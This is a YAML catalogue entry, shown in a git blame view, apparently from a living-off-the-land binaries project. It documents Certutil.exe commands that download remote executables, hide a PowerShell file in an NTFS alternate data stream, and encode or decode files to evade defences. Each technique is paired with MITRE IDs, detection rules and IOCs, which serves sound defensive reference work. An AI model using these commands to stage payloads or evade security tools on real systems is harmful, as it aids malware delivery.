2018-06-09 00:15:06 +02:00
|
|
|
---
|
|
|
|
Name: Certutil.exe
|
2021-07-02 23:33:53 +02:00
|
|
|
Description: Windows binary used for handling certificates
|
2025-01-28 12:15:01 +01:00
|
|
|
Author: Oddvar Moe
|
2021-01-10 16:04:52 +01:00
|
|
|
Created: 2018-05-25
|
2018-06-09 00:15:06 +02:00
|
|
|
Commands:
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil.exe -urlcache -split -f {REMOTEURL:.exe} {PATH:.exe}
|
|
|
|
Description: Download and save executable to disk in the current folder.
|
2018-09-24 01:50:14 +02:00
|
|
|
Usecase: Download file from Internet
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil.exe -verifyctl -f -split {REMOTEURL:.exe} {PATH:.exe}
|
|
|
|
Description: Download and save executable to disk in the current folder.
|
2019-01-24 10:40:45 +01:00
|
|
|
Usecase: Download file from Internet
|
|
|
|
Category: Download
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1105
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil.exe -urlcache -split -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
|
2018-06-09 00:15:06 +02:00
|
|
|
Description: Download and save a PS1 file to an Alternate Data Stream (ADS).
|
2018-09-24 01:50:14 +02:00
|
|
|
Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream
|
2018-09-26 09:34:01 +02:00
|
|
|
Category: ADS
|
2018-09-24 01:50:14 +02:00
|
|
|
Privileges: User
|
2021-11-05 19:58:26 +01:00
|
|
|
MitreID: T1564.004
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil -encode {PATH} {PATH:.base64}
|
2018-09-24 01:50:14 +02:00
|
|
|
Description: Command to encode a file using Base64
|
|
|
|
Usecase: Encode files to evade defensive measures
|
|
|
|
Category: Encode
|
|
|
|
Privileges: User
|
2024-04-24 16:10:59 +02:00
|
|
|
MitreID: T1027.013
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil -decode {PATH:.base64} {PATH}
|
2018-09-24 01:50:14 +02:00
|
|
|
Description: Command to decode a Base64 encoded file.
|
|
|
|
Usecase: Decode files to evade defensive measures
|
|
|
|
Category: Decode
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1140
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2025-01-28 12:15:01 +01:00
|
|
|
- Command: certutil -decodehex {PATH:.hex} {PATH}
|
|
|
|
Description: Command to decode a hexadecimal-encoded file.
|
2020-10-26 07:57:42 +01:00
|
|
|
Usecase: Decode files to evade defensive measures
|
|
|
|
Category: Decode
|
|
|
|
Privileges: User
|
|
|
|
MitreID: T1140
|
2021-12-14 16:50:17 +01:00
|
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
2018-12-10 14:28:12 +01:00
|
|
|
Full_Path:
|
2018-09-24 21:59:43 +02:00
|
|
|
- Path: C:\Windows\System32\certutil.exe
|
|
|
|
- Path: C:\Windows\SysWOW64\certutil.exe
|
2018-09-24 01:50:14 +02:00
|
|
|
Detection:
|
2023-10-18 17:30:34 +02:00
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml
|
|
|
|
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml
|
2021-11-15 14:19:03 +01:00
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml
|
|
|
|
- Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml
|
|
|
|
- Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml
|
2018-09-24 23:18:00 +02:00
|
|
|
- IOC: Certutil.exe creating new files on disk
|
|
|
|
- IOC: Useragent Microsoft-CryptoAPI/10.0
|
|
|
|
- IOC: Useragent CertUtil URL Agent
|
2018-06-09 00:15:06 +02:00
|
|
|
Resources:
|
2018-09-24 01:50:14 +02:00
|
|
|
- Link: https://twitter.com/Moriarty_Meng/status/984380793383370752
|
|
|
|
- Link: https://twitter.com/mattifestation/status/620107926288515072
|
2019-01-24 10:40:45 +01:00
|
|
|
- Link: https://twitter.com/egre55/status/1087685529016193025
|
2018-09-24 01:50:14 +02:00
|
|
|
Acknowledgement:
|
|
|
|
- Person: Matt Graeber
|
|
|
|
Handle: '@mattifestation'
|
|
|
|
- Person: Moriarty
|
2018-12-10 21:21:34 +01:00
|
|
|
Handle: '@Moriarty_Meng'
|
2019-01-24 10:40:45 +01:00
|
|
|
- Person: egre55
|
|
|
|
Handle: '@egre55'
|
2020-10-26 07:57:42 +01:00
|
|
|
- Person: Lior Adar
|